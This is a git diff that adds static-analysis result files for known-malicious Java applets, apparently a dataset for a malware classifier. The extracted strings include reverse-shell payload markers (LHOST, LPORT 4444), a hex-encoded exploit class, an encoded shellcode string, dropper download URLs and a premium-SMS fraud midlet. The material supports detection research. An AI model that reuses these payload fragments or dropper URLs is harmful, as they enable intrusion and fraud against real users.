+++ b/java_classification/data/malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "dGKprQaAbB/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "23db272f-da42-4095-8db2-3cab3135c825", "verbose": {"java": {"constant strings": ["dGKprQaAbB.Payload", ".class", "/dGKprQaAbB.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "dGKprQaAbB.dat", "URL", "", "https:", "dGKprQaAbB/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "dGKprQaAbB/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "dGKprQaAbB.PayloadTrustManager", "useFor", "java.net.URLConnection", "dGKprQaAbB.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaBiZfQqN.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "53a1082326b4a474d93d50e13a7525a9fa053b6f", "file_name": "java_malicious/0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06", "_id": "23db272f-da42-4095-8db2-3cab3135c825", "score": 0, "entropy": 6.1454654117916165, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM1DUBv+WT79ThmIrxPIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tPvZtmaJNvpvUrKYvCkgHzbDrDF", "sha256": "0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06", "md5": "1808c7f77fcfb0741731ba8fa9a945ba", "parent_sha256": "0dfe402710ec42f9b17b5225099299121f715b69df9b739f113b0fe019c43e06"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567.results b/java_classification/data/malicious/0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567.results
new file mode 100755
index 0000000..e7d91d2
--- /dev/null
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+{"characteristics": {"java": {"sourcefile": "MwcNrKk.java", "class_name": "MwcNrKk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<clinit>", "<init>", "log", "init", "toHex", "tryExpl", "down_exec"], "minor_version": 0, "const_pool_count": 362}}, "_id": "2aea4836-65bc-4383-b865-26d2fbb7a15b", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.680225720940552, "obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "data"}}}, "constant strings": ["", "os.arch", "64", "&s=", "&d=", "data", "no", "setSecurityManager", "file:///", "java.io.tmpdir", "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz", "hmemsdb", ".exe", "&s=2&d="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1d66c12c11f233518456d7cae0c3f33d1e18844", "file_name": "java_malicious/0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567", "_id": "2aea4836-65bc-4383-b865-26d2fbb7a15b", "score": 0, "entropy": 5.9965483860220505, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7315, "ssdeep": "192:VlMsmhXSladDSLmpKeKEyusBlZFvKT30LVN:V+XhX+adDSLQ44s3/vKwLH", "sha256": "0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567", "md5": "c2156612f16a6e4f4dd737c624ab54c9", "parent_sha256": "0e2ec19121448650dd96ba4fdfcf845fb8259aeaa621831b5fe2a6a8cc7be567"}}
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diff --git a/java_classification/data/malicious/0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7.results b/java_classification/data/malicious/0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7.results
new file mode 100755
index 0000000..3832b79
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+++ b/java_classification/data/malicious/0ecb8b5ba7ecc952433f51b26130bb7b3629ae09c5ea3ef74add00a0d9ddc4a7.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b.results b/java_classification/data/malicious/0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b.results
new file mode 100755
index 0000000..6b0cb37
--- /dev/null
+++ b/java_classification/data/malicious/0f7f7d8f09d376ac5bc334112285d404691c039c54ed286278c298b854e80b7b.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3.results b/java_classification/data/malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3.results
new file mode 100755
index 0000000..e777de2
--- /dev/null
+++ b/java_classification/data/malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Youtube.java", "class_name": "Youtube", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "startupAll", "init", "main"], "minor_version": 0, "const_pool_count": 91}}, "_id": "75a97150-082b-45d2-849e-260d85c3274b", "verbose": {"java": {"constant strings": ["TMP", "\\\\privzate.exe", "http://www.mastipak.com/ab/updating.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1f2bd3fe76829fa4a27d87d9c3ab9782b0b5f626", "file_name": "java_malicious/1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3", "_id": "75a97150-082b-45d2-849e-260d85c3274b", "score": 0, "entropy": 5.497237902002199, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1381, "ssdeep": "24:atXMVqWyQul8HijhRhtog6G8ayIPL3hOhaPelyliv+zTiK4wFtA/3:uXMVtyFl2i9RnzIayIPL3hOhd2WeTiKG", "sha256": "1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3", "md5": "e7b4d21775eb23e3766736df6c63ed2d", "parent_sha256": "1004cb247ca4c740b24a709fe28880d48750cbef61e5c11eb44c174ece819eb3"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4.results b/java_classification/data/malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4.results
new file mode 100755
index 0000000..a342cef
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+++ b/java_classification/data/malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "MidletIBO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["<init>", "doExit", "startApp", "pauseApp", "destroyApp", "a", "a", "a", "exit", "sendSms", "a", "b", "a", "c", "d", "b", "c", "a", "a"], "minor_version": 0, "const_pool_count": 298}}, "_id": "28bc27d2-22da-484c-82b3-b5ef2784cdf0", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.499089404529579, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "totalsms"}}}, "constant strings": ["", " ", " __", "-- :", "-- : ", "/data/", "16273645", "ANKHXNUD", "App", "B\\xe1\\xba\\xa1n kh\\xc3\\xb4ng th\\xe1\\xbb\\x83 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd 2 l\\xe1\\xba\\xa7n trong m\\xe1\\xbb\\x99t l\\xe1\\xba\\xa7n m\\xe1\\xbb\\x9f \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng! Vui l\\xc3\\xb2ng tho\\xc3\\xa1t \\xe1\\xbb\\xa9ng d\\xe1\\xbb\\xa5ng v\\xc3\\xa0 \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd l\\xe1\\xba\\xa1i!", "COUND SEND SMS : ", "Info", "ClipVui", "RMS : ", "UTF-8", "SV1 JAVA", "id", "nangabc", "ok", "showAlert", "sms://", "text", "totalsms", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd nh\\xe1\\xba\\xadn Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u T\\xe1\\xba\\xa3i mi\\xe1\\xbb\\x85n ph\\xc3\\xad Clip Vui. Link truy c\\xe1\\xba\\xadp Kho d\\xe1\\xbb\\xaf li\\xe1\\xbb\\x87u s\\xe1\\xba\\xbd \\xc4\\x91\\xc6\\xb0\\xe1\\xbb\\xa3c g\\xe1\\xbb\\xadi \\xc4\\x91\\xe1\\xba\\xbfn \\xc4\\x91i\\xe1\\xbb\\x87n tho\\xe1\\xba\\xa1i c\\xe1\\xbb\\xa7a b\\xe1\\xba\\xa1n sau khi \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 \\xc4\\x91\\xe1\\xbb\\x93ng/SMS/Link.", "\\xc4\\x90\\xc4\\x83ng k\\xc3\\xbd xem Clip Vui Tuy\\xe1\\xbb\\x83n ch\\xe1\\xbb\\x8dn. Ph\\xc3\\xad \\xc4\\x91\\xc4\\x83ng k\\xc3\\xbd: 15.000 VN\\xc4\\x90/l\\xe1\\xba\\xa7n."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4ef553e5c0c8d2b9c997fd843c55bfff8f7f33f4", "file_name": "java_malicious/10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4", "_id": "28bc27d2-22da-484c-82b3-b5ef2784cdf0", "score": 0, "entropy": 5.925590718271471, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 6199, "ssdeep": "96:JEUqZBCWkYqJ+BKN830IN8evZOZU/KwDwvKJa8KDSnp0dl6wrpFM9NAqyLDk8h:kqWkYPc9IN3vQZU/KwsS9KDSnp2TrU65", "sha256": "10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4", "md5": "1cd4fd1fd367d8bfefc34eb9ab90616c", "parent_sha256": "10311299468f1d03c2c094659e6ecc73fddc1ab6198a88ce8f81fafb4bb8fad4"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e.results b/java_classification/data/malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e.results
new file mode 100755
index 0000000..ad3569b
--- /dev/null
+++ b/java_classification/data/malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "TpXgPUYTIV/PjBMrPG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "aad804a2-efa6-4cc1-a865-a1fd6c425f64", "verbose": {"java": {"constant strings": ["TpXgPUYTIV.PjBMrPG", ".class", "/TpXgPUYTIV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "TpXgPUYTIV.dat", "URL", "", "https:", "TpXgPUYTIV/PjBMrPGTrustManager.class", "PjBMrPGTrustManager.class", "AESPassword", "TpXgPUYTIV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "TpXgPUYTIV.PjBMrPGTrustManager", "useFor", "java.net.URLConnection", "TpXgPUYTIV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "PjBMrPG -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6fd3c3131fb38a223dc97fee9e3a297938f9e8af", "file_name": "java_malicious/1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e", "_id": "aad804a2-efa6-4cc1-a865-a1fd6c425f64", "score": 0, "entropy": 6.150520707644021, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM4DUBV+WmfThmMMxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tEVMtm9yNvpvUrKYvCkgHzbDrDF", "sha256": "1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e", "md5": "89fbbf4348fee0963696811c71a6e807", "parent_sha256": "1052f6c69d0be95474dbcf5763de4b58d205dc2537b46fc130bccbc302ee155e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c.results b/java_classification/data/malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c.results
new file mode 100755
index 0000000..1e19923
--- /dev/null
+++ b/java_classification/data/malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "taipans.java", "class_name": "taipans", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "start", "main"], "minor_version": 0, "const_pool_count": 118}}, "_id": "48f6fd55-4e8e-453e-b392-a122703bbbfa", "verbose": {"java": {"constant strings": ["appdata", "funtime", "\\\\rundll32.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "362379a5f7fc13fbaf12a0c948e03f052fd61461", "file_name": "java_malicious/11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c", "_id": "48f6fd55-4e8e-453e-b392-a122703bbbfa", "score": 0, "entropy": 5.602656713840692, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2023, "ssdeep": "48:85XyFlXqfSvFltWbYPL3hY8VMd6KxzSFs8yt7PCk:8AFlceD1NVMd6t/yVR", "sha256": "11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c", "md5": "6090bbb5bc60df520ea3aecd1934b570", "parent_sha256": "11b2e6aa1ee54dfe2010dc06c3d3cd79e99da8542e4251a6557b25e0d05c0a1c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae.results b/java_classification/data/malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae.results
new file mode 100755
index 0000000..abb76b8
--- /dev/null
+++ b/java_classification/data/malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "hex2Byte", "init", "main", "<clinit>"], "minor_version": 0, "const_pool_count": 178}}, "_id": "d9509308-6801-49e2-84bb-cf4999ad1b27", "verbose": {"java": {"constant strings": ["", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "findConstructor", "findVirtual", "createClassLoader", "defineClass", "calc.exe", "CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5fb1554f974234489704930bae5407cf3ed6c280", "file_name": "java_malicious/11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae", "_id": "d9509308-6801-49e2-84bb-cf4999ad1b27", "score": 10, "entropy": 5.792071473804104, "libmagic": "compiled Java class data, version 51.0", "file_size": 5495, "ssdeep": "96:P+5FlwKSlZyNulUibx3l5CWKsRhIZiNqzyIZYSjx4jNZN4rG9Ff6s:P+blwKSlZyNuWibx3l5CZoIUDIm04jNf", "sha256": "11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae", "md5": "31f1ab52be9af499c4e48b90fcf79d5f", "parent_sha256": "11cc14c2803b9009b7c3f0805f8a862595743aba13489b2f916b3e21719bfcae"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32.results b/java_classification/data/malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32.results
new file mode 100755
index 0000000..f7899cc
--- /dev/null
+++ b/java_classification/data/malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "32c72178-4e83-490b-9105-fa8cfd062ab1", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pz,0L,PL,PL,Pn,pN,pN,pX,i9,kG,pC,0E,Pc,oU,4O,QF,Pc,05,PW,pL,KS,pd,LN,kP,pU,LN,Mn,kR,HQ,0O,p3,MV,le,cR,TW,sn,vz,KL,3L,K3,Xt,Hl,KL,72,Jd,Da,Ih,hL,OU,P7,pG,ph,bk,IQ,xR,Ob,N3,05,PU,8S,EP,rb,Lr,M3,dK,Or,6n,kk,XM,8p,yw,pe,PS,0N,kk,ga,WM,P7,Oe,PT,59,j7,7c,gr,gk,0W,OE,PD,5Z,ZL,KZ,OS,od,sx,IM,Qz,L5,Tw,qW,pW,pL,KI,L0,Qp,RS,cp,hW,te,QW,pu,PY,o3,fV,lB,zV,92,qp,RL,KV,bB,sg,3k,07,Ke,Pr,Uz,ZK,1S,Ki,lt,nR,EQ,hu,5a,ee,SO,sZ,Kw,xM,Yv,cK,ws,su,Tv,Ns,Ub,XR,EK,vg,3F,hU,PC,kO,zY,Qf,dT,pN,h0,ES,0T,sY,PV,0r,pc,cP,Wb,p9,os,ff,pL,Ck,H5,Pp,uw,vq,zE,QQ,Ci,oB,vT,D0,Z2,yL,Ck,rs,4S,qO,pW,JE,PS,El,tK,O3,fV,h0,Qb,vl,K1,eG,LN,kT,4W,ES,Hg,s9,eb,vN,kB,VG,PV,cL,54,sk,yc,yb,al,mg,s8,EP,3k,kt,Oo,Nd,PT,xX,r0,tf,hk,qx,Kd,MU,SI,JW,08,k9,ae,ku,Or,UK,WQ,NN,kQ,N7,TV,ck,mQ,vL,Kv,lp,Kl,Ka,Nw,lu,Sk,mL,Kc,4N,k7,sO,5l,kC,nr,yX,CX,he,PK,Ok,Ok,On,np,N6,nJ,Lz,8K,Nl,Jv,nc,N8,XM,2B,Se,ch,JM,Zq,KT,vT,Zf,OP,ps,Wb,O3,bQ,Zw,pc,Xt,4p,t0,pw,JV,O4,oP,gr,Y1,c2,OQ,yP,k4,nQ,sP,op,mV,Ob,Ip,ns,VB,OT,o2,Ds,QT,4v,NQ,xD,4r,MB,L6,O2,ND,p4,p4,sd,qV,PP,6U,bV,Pt,qW,CF,Pe,dt,24,pp,4f,Pe,iR,jU,ap,10,0P,0v,Pt,vt,p6,Qv,7E,iT,rg,CT,vW,Bt,ra,vv,TF,84,x5,aT,tq,vP,7D,yQ,vc,RS,ib,CQ,qe,2w,EU,3D,ud,p0,80,ZV,PT,qT,pT,p1,vT,pv,XP,0u,PW,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "40d733a311f2bf0c87244dc20751f98923803c48", "file_name": "java_malicious/1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32", "_id": "32c72178-4e83-490b-9105-fa8cfd062ab1", "score": 0, "entropy": 6.128753007014382, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3156, "ssdeep": "96:HFlP+g7dp0JeLUEAPTDE2iTULNkez1zNjWZ:llxLweLVeQ5ApnJNiZ", "sha256": "1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32", "md5": "7e508571908f31346c934b8dadcbc801", "parent_sha256": "1235178370b8e3278c9cb8f54f13f052a50c719ae022e8ad87cc6770e013ad32"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3.results b/java_classification/data/malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3.results
new file mode 100755
index 0000000..fae0199
--- /dev/null
+++ b/java_classification/data/malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "Kcn", "Vrj", "HExe", "<clinit>"], "minor_version": 0, "const_pool_count": 208}}, "_id": "1ff34097-28dc-4fa3-96c1-1b8d55514d7d", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["param", "java.version", "_", "1.7.0", "1.6.0", "os.arch", "", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2620d3060bf0d52ab90828e433ce20f2ba4aacd0", "file_name": "java_malicious/143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3", "_id": "1ff34097-28dc-4fa3-96c1-1b8d55514d7d", "score": 0, "entropy": 5.886294509075614, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3310, "ssdeep": "48:L0se8WkCx4yK6mf8WS0A3EPFPyj/q1VaCDrbnaEPC3CiLnb+aVbDiY1D4vXyiH:SkCxJKL9SU71VhdPICVaVNSvXyiH", "sha256": "143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3", "md5": "1b242f92f50eaa3dc4138c689db2071c", "parent_sha256": "143cfe443a0dc1029b077c79c76a3379782843c23909bf84a462f0618b8432c3"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9.results b/java_classification/data/malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9.results
new file mode 100755
index 0000000..175c031
--- /dev/null
+++ b/java_classification/data/malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "RotMG.java", "class_name": "RotMG", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "init", "execute", "decode", "updateCheck", "<clinit>"], "minor_version": 0, "const_pool_count": 296}}, "_id": "7a4c427a-b0e9-4e48-b9ae-e4fc663b97e9", "verbose": {"java": {"constant strings": ["c2V0U2VjdXJpdHlNYW5hZ2Vy", "ZmlsZTovLy8=", "aHR0cDovL3JvdG1nLm5vb2JqLmNvbS9yb3RtZy5leGU=", "YXBwZGF0YQ==", "XHJvdG1nLmV4ZQ==", "b3MubmFtZQ==", "d2luZG93cw==", "rundll32 url.dll,FileProtocolHandler \"", "\"", "aHR0cDovL3JvdG1nLm5vb2JqLmNvbS9wbGF5LnBocA==", "_top", "aHR0cDovL3JvdG1nLm5vb2JqLmNvbS9wYW5lbC5waHA=", "?success=true&o=", "os.name", "?success=false&o=", "", "amF2YS5zZWN1cml0eS5QZXJtaXNzaW9ucw==", "amF2YS5zZWN1cml0eS5BbGxQZXJtaXNzaW9u", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8f5cf99d07023e02983c12b17468451a8c2281c0", "file_name": "java_malicious/149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9", "_id": "7a4c427a-b0e9-4e48-b9ae-e4fc663b97e9", "score": 0, "entropy": 6.166257627669195, "libmagic": "compiled Java class data, version 51.0", "file_size": 5660, "ssdeep": "96:CaOf37GFlnVrr61y2B77az76BBG84CVnBJqhWD+d4zz+Zat7:CaOf4ll219B7FGSbqhWic+Zat7", "sha256": "149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9", "md5": "d844d536753846c7df3aeb63a9612329", "parent_sha256": "149163f5b1fb69e73451db479bb6800ac36a38d188e8b9c2363a48a0ef3b09c9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062.results b/java_classification/data/malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062.results
new file mode 100755
index 0000000..231a4d7
--- /dev/null
+++ b/java_classification/data/malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "wRvYbISXEQ/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "0dd2b711-36d2-492f-92ba-5552e3f0000d", "verbose": {"java": {"constant strings": ["wRvYbISXEQ.Payload", ".class", "/wRvYbISXEQ.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "wRvYbISXEQ.dat", "URL", "", "https:", "wRvYbISXEQ/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "wRvYbISXEQ/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "wRvYbISXEQ.PayloadTrustManager", "useFor", "java.net.URLConnection", "wRvYbISXEQ.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaaRCDiJY.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8905120477bdeae3652c8f193f8cbd4d41ccdb64", "file_name": "java_malicious/14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062", "_id": "0dd2b711-36d2-492f-92ba-5552e3f0000d", "score": 0, "entropy": 6.1447064033258165, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMoDUBl+WqRdThm40xuIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1twlItmVGNvpvUrKYvCkgHzbDrDF", "sha256": "14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062", "md5": "8cc56f4f6ecb96681f0cd5b699189f0f", "parent_sha256": "14f7afb4e9f277db7856d380641d450ad3ac9c9f6b25aa73c056d5938ab11062"}}
\ No newline at end of file
